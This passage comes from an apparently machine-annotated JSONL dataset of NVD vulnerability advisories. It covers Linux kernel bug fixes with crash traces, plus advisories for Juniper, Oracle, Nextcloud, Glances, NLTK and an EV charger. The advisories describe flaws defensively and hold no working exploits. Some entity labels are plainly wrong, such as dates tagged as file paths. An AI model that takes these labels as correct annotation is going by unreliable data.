that the removed comment in iavf_reset_task() was misplaced,\nit belonged to inside of the removed if condition, so it's gone now.\n\n[splat1] - w/o this patch - The deadlock during VF removal:\n     WARNING: possible circular locking dependency detected\n     sh/3825 is trying to acquire lock:\n      ((work_completion)(&(&adapter->watchdog_task)->work)){+.+.}-{0:0}, at: start_flush_work+0x1a1/0x470\n          but task is already holding lock:\n      (&adapter->crit_lock){+.+.}-{4:4}, at: iavf_remove+0xd1/0x690 [iavf]\n          which lock already depends on the new lock.\n\n[splat2] - when cancelling work under crit lock, w/o this series,\n\t   see [2] for the band aid attempt\n    WARNING: possible circular locking dependency detected\n    sh/3550 is trying to acquire lock:\n    ((wq_completion)iavf){+.+.}-{0:0}, at: touch_wq_lockdep_map+0x26/0x90\n        but task is already holding lock:\n    (&dev->lock){+.+.}-{4:4}, at: iavf_remove+0xa6/0x6e0 [iavf]\n        which lock already depends on the new lock.\n\n[1] fc2e6b3b132a (\"iavf: Rework mutexes for better synchronisation\")\n[2] https://github.com/pkitszel/linux/commit/52dddbfc2bb60294083f5711a158a", "spans": {"URL: https://github.com/pkitszel/linux/commit/52dddbfc2bb60294083f5711a158a": [[2080, 2150]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38311"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/fpu: Fix copy_xstate_to_uabi() to copy init states correctly\n\nWhen an extended state component is not present in fpstate, but in init\nstate, the function copies from init_fpstate via copy_feature().\n\nBut, dynamic states are not present in init_fpstate because of all-zeros\ninit states. Then retrieving them from init_fpstate will explode like this:\n\n BUG: kernel NULL pointer dereference, address: 0000000000000000\n ...\n RIP: 0010:memcpy_erms+0x6/0x10\n  ? __copy_xstate_to_uabi_buf+0x381/0x870\n  fpu_copy_guest_fpstate_to_uabi+0x28/0x80\n  kvm_arch_vcpu_ioctl+0x14c/0x1460 [kvm]\n  ? __this_cpu_preempt_check+0x13/0x20\n  ? vmx_vcpu_put+0x2e/0x260 [kvm_intel]\n  kvm_vcpu_ioctl+0xea/0x6b0 [kvm]\n  ? kvm_vcpu_ioctl+0xea/0x6b0 [kvm]\n  ? __fget_light+0xd4/0x130\n  __x64_sys_ioctl+0xe3/0x910\n  ? debug_smp_processor_id+0x17/0x20\n  ? fpregs_assert_state_consistent+0x27/0x50\n  do_syscall_64+0x3f/0x90\n  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nAdjust the 'mask' to zero out the userspace buffer for the features that\nare not available both from fpstate and from init_fpstate.\n\nThe dynamic features depend on the compacted XSAVE format. Ensure it is\nenabled before reading XCOMP_BV in init_fpstate.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[436, 460]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50425"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rxe: Fix the qp flush warnings in req\n\nWhen the qp is in error state, the status of WQEs in the queue should be\nset to error. Or else the following will appear.\n\n[  920.617269] WARNING: CPU: 1 PID: 21 at drivers/infiniband/sw/rxe/rxe_comp.c:756 rxe_completer+0x989/0xcc0 [rdma_rxe]\n[  920.617744] Modules linked in: rnbd_client(O) rtrs_client(O) rtrs_core(O) rdma_ucm rdma_cm iw_cm ib_cm crc32_generic rdma_rxe ip6_udp_tunnel udp_tunnel ib_uverbs ib_core loop brd null_blk ipv6\n[  920.618516] CPU: 1 PID: 21 Comm: ksoftirqd/1 Tainted: G           O       6.1.113-storage+ #65\n[  920.618986] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n[  920.619396] RIP: 0010:rxe_completer+0x989/0xcc0 [rdma_rxe]\n[  920.619658] Code: 0f b6 84 24 3a 02 00 00 41 89 84 24 44 04 00 00 e9 2a f7 ff ff 39 ca bb 03 00 00 00 b8 0e 00 00 00 48 0f 45 d8 e9 15 f7 ff ff <0f> 0b e9 cb f8 ff ff 41 bf f5 ff ff ff e9 08 f8 ff ff 49 8d bc 24\n[  920.620482] RSP: 0018:ffff97b7c00bbc38 EFLAGS: 00010246\n[  920.620817] RAX: 0000000000000000 RBX: 000000000000000c RCX: 0000000000000008\n[  920.621183] RDX: ffff960dc396ebc0 RSI: 0000000000005400 RDI: ffff960dc4e2fbac\n[  920.621548] RBP: 0000000000000000 R08: 0000000000000001 R09: ffffffffac406450\n[  920.621884] R10: ffffffffac4060c0 R11: 0000000000000001 R12: ffff960dc4e2f800\n[  920.622254] R13: ffff960dc4e2f928 R14: ffff97b7c029c580 R15: 0000000000000000\n[  920.622609] FS:  0000000000000000(0000) GS:ffff960ef7d00000(0000) knlGS:0000000000000000\n[  920.622979] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  920.623245] CR2: 00007fa056965e90 CR3: 00000001107f1000 CR4: 00000000000006e0\n[  920.623680] Call Trace:\n[  920.623815]  <TASK>\n[  920.623933]  ? __warn+0x79/0xc0\n[  920.624116]  ? rxe_completer+0x989/0xcc0 [rdma_rxe]\n[  920.624356]  ? report_bug+0xfb/0x150\n[  920.624594]  ? handle_bug+0x3c/0x60\n[  920.624796]  ? exc_invalid_op+0x14/0x70\n[  920.624976]  ? asm_exc_invalid_op+0x16/0x20\n[  920.625203]  ? rxe_completer+0x989/0xcc0 [rdma_rxe]\n[  920.625474]  ? rxe_completer+0x329/0xcc0 [rdma_rxe]\n[  920.625749]  rxe_do_task+0x80/0x110 [rdma_rxe]\n[  920.626037]  rxe_requester+0x625/0xde0 [rdma_rxe]\n[  920.626310]  ? rxe_cq_post+0xe2/0x180 [rdma_rxe]\n[  920.626583]  ? do_complete+0x18d/0x220 [rdma_rxe]\n[  920.626812]  ? rxe_completer+0x1a3/0xcc0 [rdma_rxe]\n[  920.627050]  rxe_do_task+0x80/0x110 [rdma_rxe]\n[  920.627285]  tasklet_action_common.constprop.0+0xa4/0x120\n[  920.627522]  handle_softirqs+0xc2/0x250\n[  920.627728]  ? sort_range+0x20/0x20\n[  920.627942]  run_ksoftirqd+0x1f/0x30\n[  920.628158]  smpboot_thread_fn+0xc7/0x1b0\n[  920.628334]  kthread+0xd6/0x100\n[  920.628504]  ? kthread_complete_and_exit+0x20/0x20\n[  920.628709]  ret_from_fork+0x1f/0x30\n[  920.628892]  </TASK>", "spans": {"FILEPATH: /infiniband/sw/rxe/rxe_comp.c": [[285, 314]], "FILEPATH: /01/2014": [[736, 744]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[680, 684]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53229"}}
{"text": "An issue was discovered in the Linux kernel 3.2 through 5.10.16, as used by Xen. Grant mapping operations often occur in batch hypercalls, where a number of operations are done in a single hypercall, the success or failure of each one is reported to the backend driver, and the backend driver then loops over the results, performing follow-up actions based on the success or failure of each operation. Unfortunately, when running in PV mode, the Linux backend drivers mishandle this: Some errors are ignored, effectively implying their success from the success of related batch elements. In other cases, errors resulting from one batch element lead to further batch elements not being inspected, and hence successful ones to not be possible to properly unmap upon error recovery. Only systems with Linux backends running in PV mode are vulnerable. Linux backends run in HVM / PVH modes are not vulnerable. This affects arch/*/xen/p2m.c and drivers/xen/gntdev.c.", "spans": {"FILEPATH: /xen/p2m.c": [[925, 935]], "FILEPATH: /xen/gntdev.c.": [[947, 961]], "SYSTEM: Linux kernel": [[31, 43]], "SYSTEM: Linux": [[446, 451], [798, 803], [848, 853]], "SYSTEM: Xen": [[76, 79]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-26932"}}
{"text": "Vulnerability in the Oracle Insurance Accounting Analyzer product of Oracle Financial Services Applications (component: User Interface). Supported versions that are affected are 8.0.6 - 8.0.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Insurance Accounting Analyzer. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Insurance Accounting Analyzer accessible data as well as unauthorized read access to a subset of Oracle Insurance Accounting Analyzer accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [69, 75], [300, 306], [472, 478], [576, 582]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2937"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncachefiles: Fix KASAN slab-out-of-bounds in cachefiles_set_volume_xattr\n\nUse the actual length of volume coherency data when setting the\nxattr to avoid the following KASAN report.\n\n BUG: KASAN: slab-out-of-bounds in cachefiles_set_volume_xattr+0xa0/0x350 [cachefiles]\n Write of size 4 at addr ffff888101e02af4 by task kworker/6:0/1347\n\n CPU: 6 PID: 1347 Comm: kworker/6:0 Kdump: loaded Not tainted 5.18.0-rc1-nfs-fscache-netfs+ #13\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.14.0-4.fc34 04/01/2014\n Workqueue: events fscache_create_volume_work [fscache]\n Call Trace:\n  <TASK>\n  dump_stack_lvl+0x45/0x5a\n  print_report.cold+0x5e/0x5db\n  ? __lock_text_start+0x8/0x8\n  ? cachefiles_set_volume_xattr+0xa0/0x350 [cachefiles]\n  kasan_report+0xab/0x120\n  ? cachefiles_set_volume_xattr+0xa0/0x350 [cachefiles]\n  kasan_check_range+0xf5/0x1d0\n  memcpy+0x39/0x60\n  cachefiles_set_volume_xattr+0xa0/0x350 [cachefiles]\n  cachefiles_acquire_volume+0x2be/0x500 [cachefiles]\n  ? __cachefiles_free_volume+0x90/0x90 [cachefiles]\n  fscache_create_volume_work+0x68/0x160 [fscache]\n  process_one_work+0x3b7/0x6a0\n  worker_thread+0x2c4/0x650\n  ? process_one_work+0x6a0/0x6a0\n  kthread+0x16c/0x1a0\n  ? kthread_complete_and_exit+0x20/0x20\n  ret_from_fork+0x22/0x30\n  </TASK>\n\n Allocated by task 1347:\n  kasan_save_stack+0x1e/0x40\n  __kasan_kmalloc+0x81/0xa0\n  cachefiles_set_volume_xattr+0x76/0x350 [cachefiles]\n  cachefiles_acquire_volume+0x2be/0x500 [cachefiles]\n  fscache_create_volume_work+0x68/0x160 [fscache]\n  process_one_work+0x3b7/0x6a0\n  worker_thread+0x2c4/0x650\n  kthread+0x16c/0x1a0\n  ret_from_fork+0x22/0x30\n\n The buggy address belongs to the object at ffff888101e02af0\n which belongs to the cache kmalloc-8 of size 8\n The buggy address is located 4 bytes inside of\n 8-byte region [ffff888101e02af0, ffff888101e02af8)\n\n The buggy address belongs to the physical page:\n page:00000000a2292d70 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x101e02\n flags: 0x17ffffc0000200(slab|node=0|zone=2|lastcpupid=0x1fffff)\n raw: 0017ffffc0000200 0000000000000000 dead000000000001 ffff888100042280\n raw: 0000000000000000 0000000080660066 00000001ffffffff 0000000000000000\n page dumped because: kasan: bad access detected\n\n Memory state around the buggy address:\n ffff888101e02980: fc 00 fc fc fc fc 00 fc fc fc fc 00 fc fc fc fc\n ffff888101e02a00: 00 fc fc fc fc 00 fc fc fc fc 00 fc fc fc fc 00\n >ffff888101e02a80: fc fc fc fc 00 fc fc fc fc 00 fc fc fc fc 04 fc\n                                                            ^\n ffff888101e02b00: fc fc fc 00 fc fc fc fc 00 fc fc fc fc 00 fc fc\n ffff888101e02b80: fc fc 00 fc fc fc fc 00 fc fc fc fc 00 fc fc fc\n ==================================================================", "spans": {"FILEPATH: /01/2014": [[575, 583]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[517, 521]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49062"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbonding: fix oops during rmmod\n\n\"rmmod bonding\" causes an oops ever since commit cc317ea3d927 (\"bonding:\nremove redundant NULL check in debugfs function\").  Here are the relevant\nfunctions being called:\n\nbonding_exit()\n  bond_destroy_debugfs()\n    debugfs_remove_recursive(bonding_debug_root);\n    bonding_debug_root = NULL; <--------- SET TO NULL HERE\n  bond_netlink_fini()\n    rtnl_link_unregister()\n      __rtnl_link_unregister()\n        unregister_netdevice_many_notify()\n          bond_uninit()\n            bond_debug_unregister()\n              (commit removed check for bonding_debug_root == NULL)\n              debugfs_remove()\n              simple_recursive_removal()\n                down_write() -> OOPS\n\nHowever, reverting the bad commit does not solve the problem completely\nbecause the original code contains a race that could cause the same\noops, although it was much less likely to be triggered unintentionally:\n\nCPU1\n  rmmod bonding\n    bonding_exit()\n      bond_destroy_debugfs()\n        debugfs_remove_recursive(bonding_debug_root);\n\nCPU2\n  echo -bond0 > /sys/class/net/bonding_masters\n    bond_uninit()\n      bond_debug_unregister()\n        if (!bonding_debug_root)\n\nCPU1\n        bonding_debug_root = NULL;\n\nSo do NOT revert the bad commit (since the removed checks were racy\nanyway), and instead change the order of actions taken during module\nremoval.  The same oops can also happen if there is an error during\nmodule init, so apply the same fix there.", "spans": {"FILEPATH: /sys/class/net/bonding_masters": [[1141, 1171]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39296"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit PhantomPDF 9.7.1.29511. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of vertices in U3D objects. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated object. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-10568.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10905"}}
{"text": "Cleartext Storage of Sensitive Information vulnerability in Mitsubishi Electric MELSEC iQ-F series FX5U(C) CPU all versions, Mitsubishi Electric MELSEC iQ-F series FX5UJ CPU all versions, Mitsubishi Electric MELSEC iQ-R series R00/01/02CPU all versions, Mitsubishi Electric MELSEC iQ-R series R04/08/16/32/120(EN)CPU all versions, Mitsubishi Electric MELSEC iQ-R series R08/16/32/120SFCPU all versions, Mitsubishi Electric MELSEC iQ-R series R08/16/32/120PCPU all versions, Mitsubishi Electric MELSEC iQ-R series R08/16/32/120PSFCPU all versions, Mitsubishi Electric MELSEC iQ-R series R16/32/64MTCPU all versions, Mitsubishi Electric MELSEC iQ-R series RJ71C24(-R2/R4) all versions, Mitsubishi Electric MELSEC iQ-R series RJ71EN71 all versions, Mitsubishi Electric MELSEC iQ-R series RJ72GF15-T2 all versions, Mitsubishi Electric MELSEC Q series Q03/04/06/13/26UDVCPU all versions, Mitsubishi Electric MELSEC Q series Q04/06/13/26UDPVCPU all versions, Mitsubishi Electric MELSEC Q series QJ71C24N(-R2/R4) all versions and Mitsubishi Electric MELSEC Q series QJ71E71-100 all versions allows a remote unauthenticated attacker to disclose a file in a legitimate user's product by using previously eavesdropped cleartext information and to counterfeit a legitimate user’s system.", "spans": {"FILEPATH: /01/02CPU": [[230, 239]], "FILEPATH: /08/16/32/120": [[296, 309]], "FILEPATH: /16/32/120SFCPU": [[373, 388]], "FILEPATH: /16/32/120PCPU": [[445, 459]], "FILEPATH: /16/32/120PSFCPU": [[516, 532]], "FILEPATH: /32/64MTCPU": [[589, 600]], "FILEPATH: /04/06/13/26UDVCPU": [[850, 868]], "FILEPATH: /06/13/26UDPVCPU": [[922, 938]], "VULNERABILITY: Cleartext Storage": [[0, 17]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-25160"}}
{"text": "An Exposure of System Data vulnerability in Juniper Networks Junos OS and Junos OS Evolved, where a sensitive system-level resource is not being sufficiently protected, allows a network-based unauthenticated attacker to send specific traffic which partially reaches this resource. A high rate of specific traffic may lead to a partial Denial of Service (DoS) as the CPU utilization of the RE is significantly increased. The SNMP Agent Extensibility (agentx) process should only be listening to TCP port 705 on the internal routing instance. External connections destined to port 705 should not be allowed. This issue affects: Juniper Networks Junos OS: 15.1 versions prior to 15.1R7-S9; 17.3 versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R2-S13, 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R2-S8; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R2-S4, 19.4R3; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R2; 20.3 versions prior to 20.3R2. Juniper Networks Junos OS Evolved versions prior to 20.3R2-EVO. This issue does not affect Juniper Networks Junos OS versions prior to 13.2R1.", "spans": {"ORGANIZATION: Juniper": [[44, 51], [626, 633], [1095, 1102], [1186, 1193]], "VULNERABILITY: Denial of Service": [[335, 352]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0291"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/core: Fix WARN_ON(!ctx) in __free_event() for partial init\n\nMove the get_ctx(child_ctx) call and the child_event->ctx assignment to\noccur immediately after the child event is allocated. Ensure that\nchild_event->ctx is non-NULL before any subsequent error path within\ninherit_event calls free_event(), satisfying the assumptions of the\ncleanup code.\n\nDetails:\n\nThere's no clear Fixes tag, because this bug is a side-effect of\nmultiple interacting commits over time (up to 15 years old), not\na single regression.\n\nThe code initially incremented refcount then assigned context\nimmediately after the child_event was created. Later, an early\nvalidity check for child_event was added before the\nrefcount/assignment. Even later, a WARN_ON_ONCE() cleanup check was\nadded, assuming event->ctx is valid if the pmu_ctx is valid.\nThe problem is that the WARN_ON_ONCE() could trigger after the initial\ncheck passed but before child_event->ctx was assigned, violating its\nprecondition. The solution is to assign child_event->ctx right after\nits initial validation. This ensures the context exists for any\nsubsequent checks or cleanup routines, resolving the WARN_ON_ONCE().\n\nTo resolve it, defer the refcount update and child_event->ctx assignment\ndirectly after child_event->pmu_ctx is set but before checking if the\nparent event is orphaned. The cleanup routine depends on\nevent->pmu_ctx being non-NULL before it verifies event->ctx is\nnon-NULL. This also maintains the author's original intent of passing\nin child_ctx to find_get_pmu_context before its refcount/assignment.\n\n[ mingo: Expanded the changelog from another email by Gabriel Shahrouzi. ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37878"}}
{"text": "Nextcloud is an open-source, self-hosted productivity platform. Prior to versions 20.0.13, 21.0.5, and 22.2.0, a file traversal vulnerability makes an attacker able to download arbitrary SVG images from the host system, including user provided files. This could also be leveraged into a XSS/phishing attack, an attacker could upload a malicious SVG file that mimics the Nextcloud login form and send a specially crafted link to victims. The XSS risk here is mitigated due to the fact that Nextcloud employs a strict Content-Security-Policy disallowing execution of arbitrary JavaScript. It is recommended that the Nextcloud Server be upgraded to 20.0.13, 21.0.5 or 22.2.0. There are no known workarounds aside from upgrading.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41178"}}
{"text": "In Sanitize (RubyGem sanitize) greater than or equal to 3.0.0 and less than 5.2.1, there is a cross-site scripting vulnerability. When HTML is sanitized using Sanitize's \"relaxed\" config, or a custom config that allows certain elements, some content in a math or svg element may not be sanitized correctly even if math and svg are not in the allowlist. You are likely to be vulnerable to this issue if you use Sanitize's relaxed config or a custom config that allows one or more of the following HTML elements: iframe, math, noembed, noframes, noscript, plaintext, script, style, svg, xmp. Using carefully crafted input, an attacker may be able to sneak arbitrary HTML through Sanitize, potentially resulting in XSS (cross-site scripting) or other undesired behavior when that HTML is rendered in a browser. This has been fixed in 5.2.1.", "spans": {"VULNERABILITY: cross-site scripting": [[94, 114], [717, 737]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4054"}}
{"text": "An issue was discovered in Xen through 4.14.x. A guest may access xenstore paths via absolute paths containing a full pathname, or via a relative path, which implicitly includes /local/domain/$DOMID for their own domain id. Management tools must access paths in guests' namespaces, necessarily using absolute paths. oxenstored imposes a pathname limit that is applied solely to the relative or absolute path specified by the client. Therefore, a guest can create paths in its own namespace which are too long for management tools to access. Depending on the toolstack in use, a malicious guest administrator might cause some management tools and debugging operations to fail. For example, a guest administrator can cause \"xenstore-ls -r\" to fail. However, a guest administrator cannot prevent the host administrator from tearing down the domain. All systems using oxenstored are vulnerable. Building and using oxenstored is the default in the upstream Xen distribution, if the Ocaml compiler is available. Systems using C xenstored are not vulnerable.", "spans": {"FILEPATH: /local/domain": [[178, 191]], "SYSTEM: Xen": [[27, 30], [952, 955]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-29482"}}
{"text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.4, a Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers. This vulnerability can be exploited to access internal network services, retrieve sensitive data from cloud metadata endpoints, and/or exfiltrate credentials via outbound HTTP requests. The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information. Version 4.5.4 contains a patch.", "spans": {"VULNERABILITY: Server-Side Request Forgery": [[91, 118]], "VULNERABILITY: SSRF": [[120, 124]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35587"}}
{"text": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. Versions prior to 3.6.5 are vulnerable to regular expression denial of service (ReDoS) attacks. The vulnerability is present in PunktSentenceTokenizer, sent_tokenize and word_tokenize. Any users of this class, or these two functions, are vulnerable to the ReDoS attack. In short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. If your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability. For users unable to upgrade the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.", "spans": {"SYSTEM: Python": [[58, 64]], "VULNERABILITY: denial of service": [[228, 245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43854"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: fix invalid address access when enabling SCAN log level\n\nThe variable i is changed when setting random MAC address and causes\ninvalid address access when printing the value of pi->reqs[i]->reqid.\n\nWe replace reqs index with ri to fix the issue.\n\n[  136.726473] Unable to handle kernel access to user memory outside uaccess routines at virtual address 0000000000000000\n[  136.737365] Mem abort info:\n[  136.740172]   ESR = 0x96000004\n[  136.743359]   Exception class = DABT (current EL), IL = 32 bits\n[  136.749294]   SET = 0, FnV = 0\n[  136.752481]   EA = 0, S1PTW = 0\n[  136.755635] Data abort info:\n[  136.758514]   ISV = 0, ISS = 0x00000004\n[  136.762487]   CM = 0, WnR = 0\n[  136.765522] user pgtable: 4k pages, 48-bit VAs, pgdp = 000000005c4e2577\n[  136.772265] [0000000000000000] pgd=0000000000000000\n[  136.777160] Internal error: Oops: 96000004 [#1] PREEMPT SMP\n[  136.782732] Modules linked in: brcmfmac(O) brcmutil(O) cfg80211(O) compat(O)\n[  136.789788] Process wificond (pid: 3175, stack limit = 0x00000000053048fb)\n[  136.796664] CPU: 3 PID: 3175 Comm: wificond Tainted: G           O      4.19.42-00001-g531a5f5 #1\n[  136.805532] Hardware name: Freescale i.MX8MQ EVK (DT)\n[  136.810584] pstate: 60400005 (nZCv daif +PAN -UAO)\n[  136.815429] pc : brcmf_pno_config_sched_scans+0x6cc/0xa80 [brcmfmac]\n[  136.821811] lr : brcmf_pno_config_sched_scans+0x67c/0xa80 [brcmfmac]\n[  136.828162] sp : ffff00000e9a3880\n[  136.831475] x29: ffff00000e9a3890 x28: ffff800020543400\n[  136.836786] x27: ffff8000b1008880 x26: ffff0000012bf6a0\n[  136.842098] x25: ffff80002054345c x24: ffff800088d22400\n[  136.847409] x23: ffff0000012bf638 x22: ffff0000012bf6d8\n[  136.852721] x21: ffff8000aced8fc0 x20: ffff8000ac164400\n[  136.858032] x19: ffff00000e9a3946 x18: 0000000000000000\n[  136.863343] x17: 0000000000000000 x16: 0000000000000000\n[  136.868655] x15: ffff0000093f3b37 x14: 0000000000000050\n[  136.873966] x13: 0000000000003135 x12: 0000000000000000\n[  136.879277] x11: 0000000000000000 x10: ffff000009a61888\n[  136.884589] x9 : 000000000000000f x8 : 0000000000000008\n[  136.889900] x7 : 303a32303d726464 x6 : ffff00000a1f957d\n[  136.895211] x5 : 0000000000000000 x4 : ffff00000e9a3942\n[  136.900523] x3 : 0000000000000000 x2 : ffff0000012cead8\n[  136.905834] x1 : ffff0000012bf6d8 x0 : 0000000000000000\n[  136.911146] Call trace:\n[  136.913623]  brcmf_pno_config_sched_scans+0x6cc/0xa80 [brcmfmac]\n[  136.919658]  brcmf_pno_start_sched_scan+0xa4/0x118 [brcmfmac]\n[  136.925430]  brcmf_cfg80211_sched_scan_start+0x80/0xe0 [brcmfmac]\n[  136.931636]  nl80211_start_sched_scan+0x140/0x308 [cfg80211]\n[  136.937298]  genl_rcv_msg+0x358/0x3f4\n[  136.940960]  netlink_rcv_skb+0xb4/0x118\n[  136.944795]  genl_rcv+0x34/0x48\n[  136.947935]  netlink_unicast+0x264/0x300\n[  136.951856]  netlink_sendmsg+0x2e4/0x33c\n[  136.955781]  __sys_sendto+0x120/0x19c", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50678"}}
{"text": "A Stack-based Buffer Overflow vulnerability in the CLI command of Juniper Networks Junos and Junos EVO allows a low privileged attacker to execute a specific CLI commands leading to Denial of Service.\n\nRepeated actions by the attacker will create a sustained Denial of Service (DoS) condition.\n\nThis issue affects Juniper Networks:\n\nJunos OS:\n\n\n\n  *  All versions prior to 19.1R3-S10;\n  *  19.2 versions prior to 19.2R3-S7;\n  *  19.3 versions prior to 19.3R3-S8;\n  *  19.4 versions prior to 19.4R3-S12;\n  *  20.2 versions prior to 20.2R3-S8;\n  *  20.4 versions prior to 20.4R3-S8;\n  *  21.2 versions prior to 21.2R3-S6;\n  *  21.3 versions prior to 21.3R3-S5;\n  *  21.4 versions prior to 21.4R3-S4;\n  *  22.1 versions prior to 22.1R3-S3;\n  *  22.2 versions prior to 22.2R3-S1;\n  *  22.3 versions prior to 22.3R3;\n  *  22.4 versions prior to 22.4R2.\n\n\n\n\nJunos OS Evolved:\n\n\n\n  *  All versions prior to 20.4R3-S8-EVO;\n  *  21.2 versions prior to 21.2R3-S6-EVO;\n  *  21.3 versions prior to 21.3R3-S5-EVO;\n  *  21.4 versions prior to 21.4R3-S4-EVO;\n  *  22.1 versions prior to 22.1R3-S3-EVO;\n  *  22.2 versions prior to 22.2R3-S1-EVO;\n  *  22.3 versions prior to 22.3R3-EVO;\n  *  22.4 versions prior to 22.4R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[66, 73], [314, 321]], "VULNERABILITY: Stack-based Buffer Overflow": [[2, 29]], "VULNERABILITY: Denial of Service": [[182, 199], [259, 276]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44177"}}
{"text": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 15.1.2-47123. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the hypervisor kernel extension. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the hypervisor. Was ZDI-CAN-10030.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17390"}}
{"text": "Command injection in the <redacted> parameter of a <redacted>.exe request leads to remote code execution as the root user.\n\nThis issue affects Iocharger firmware for AC models before version 24120701.\n\nLikelihood: Moderate – This action is not a common place for command injection vulnerabilities to occur. Thus, an attacker will likely only be able to find this vulnerability by reverse-engineering the firmware or trying it on all <redacted> fields. The attacker will also need a (low privilege) account to gain access to the <redacted> binary, or convince a user with such access to execute a payload.\n\nImpact: Critical – The attacker has full control over the charging station as the root user, and can arbitrarily add, modify and delete files and services.\n\nCVSS clarification. The attack can be executed over any network connection the station is listening to and serves the web interface (AV:N), and there are no additional security measure sin place that need to be circumvented (AC:L), the attack does not rely on preconditions (AT:N). The attack does require authentication, but the level of authentication is irrelevant (PR:L), it does not require user interaction (UI:N). If is a full system compromise, potentially fully compromising confidentiality, integrity and availability of the devicer (VC:H/VI:H/VA:H).  A compromised charger can be used to \"pivot\" onto networks that should otherwise be closed, cause a low confidentiality and interity impact on subsequent systems. (SC:L/SI:L/SA:H). Because this device is an EV charger handing significant amounts of power, we suspect this vulnerability can have a safety impact (S:P). The attack can be automated (AU:Y).", "spans": {"VULNERABILITY: remote code execution": [[83, 104]], "VULNERABILITY: Command injection": [[0, 17]], "VULNERABILITY: command injection": [[263, 280]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43648"}}
